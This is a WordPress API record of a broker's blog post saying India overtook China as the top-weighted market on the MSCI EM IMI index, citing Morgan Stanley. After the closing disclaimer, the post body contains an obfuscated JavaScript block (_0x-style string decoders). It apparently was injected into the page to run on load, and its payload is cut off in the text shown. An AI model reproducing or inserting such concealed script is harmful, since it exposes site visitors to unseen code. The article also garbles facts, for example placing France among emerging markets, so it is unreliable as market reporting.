{"id":8885,"date":"2024-09-18T09:30:13","date_gmt":"2024-09-18T09:30:13","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8885"},"modified":"2026-05-26T04:40:08","modified_gmt":"2026-05-26T11:10:08","slug":"msci-emerging-markets","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/","title":{"rendered":"India took over China to top MSCI Emerging Markets"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/#Factors_Driving_Indias_Growth\" >Factors Driving India\u2019s Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/#Nominal_GDP_Growth\" >Nominal GDP Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/#Dominance_of_Domestic_Investors\" >Dominance of Domestic Investors<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/#Future_Ahead\" >Future Ahead<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>India took over China to top MSCI Emerging Markets<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">India is now the top emerging markets across the globe as per MSCI Emerging Markets ranking by MSCI IMI. At the end of August 2024, the MSCI published the ranking for the emerging markets, in which India displaced China, which was earlier the largest emerging market.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On 4 September, India took over China and became the highest weighted Market on the MSCI EM Investible Market Index. This index tracks the emerging markets. Earlier in 2021, in China after peaking at the MSCI EM IMI index, the weight of this emerging market slipped from the top by half a percentage point, which made room for India to become the sixth largest emerging market, right after France.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-factors-driving-india-s-growth\"><span class=\"ez-toc-section\" id=\"Factors_Driving_Indias_Growth\"><\/span><strong>Factors Driving India\u2019s Growth<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per global brokerage house, Morgan Stanley, the excellent performance of Indian markets, and the economy, along with new IPO launches, and increased liquidity in the market has made this possible and will continue to boost India to gain market share further. This makes the brokerage give an \u2018overweight\u2019 card to India while an \u2018underweight\u2019 card to China when it comes to the pan-Asia asset allocation.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-nominal-gdp-growth\"><span class=\"ez-toc-section\" id=\"Nominal_GDP_Growth\"><\/span><strong>Nominal GDP Growth<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, the nominal GDP growth rate of India is three times that of China, which is why the growth is evident in India diverging from China. The operating growth and earnings growth both diverged from China and boosted the Indian economy.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-dominance-of-domestic-investors\"><span class=\"ez-toc-section\" id=\"Dominance_of_Domestic_Investors\"><\/span><strong>Dominance of Domestic Investors<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Another factor that Morgan Stanley has mentioned in its report is that currently in the Indian equity market, domestic investors and market participants are outbidding their foreign counterparts. This in turn calls for an increase in equity issuance, which can get the foreign participants back in the market.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-future-ahead\"><span class=\"ez-toc-section\" id=\"Future_Ahead\"><\/span><strong>Future Ahead<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While India has already surpassed China on the MSCI EM IMI index, it is now nearing the limit to exceed China by becoming the largest weighted market on the border MSCI index which is the MSCI Emerging Market index. While the former MSCI EM IMI includes 24 emerging markets\u2019 large, mid, and small-cap counters, the MSCI Emerging Market Index has a wider base.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.moneycontrol.com\/news\/business\/markets\/india-becomes-largest-msci-em-market-overtaking-china-morgan-stanley-remains-bullish-12824109.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">MoneyControl<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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At the end of August 2024, the MSCI published the ranking for the emerging markets, in which India displaced China, which was earlier the largest emerging market.\u00a0 On 4 September, India took over China and became &hellip; <a href=\"https:\/\/shoonya.com\/blog\/msci-emerging-markets\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;India took over China to top MSCI Emerging Markets&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8888,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[2241,1082],"tags":[5228,1086,5230,5229,5231,5226,5227,5225],"class_list":["post-8885","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general","category-latest-news","tag-india-nominal-gdp-growth-rate","tag-indian-market","tag-investable-market-index","tag-morgan-stanley","tag-morgan-stanley-bullish","tag-msci-em","tag-msci-em-market","tag-msci-emerging-markets"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India ranks at the top of the MSCI Emerging Markets list, leaving China behind<\/title>\n<meta name=\"description\" content=\"India become the highest weighted on the MSCI Emerging Market IMI index and now inching towards becoming the largest market on the border MSCI EM index. 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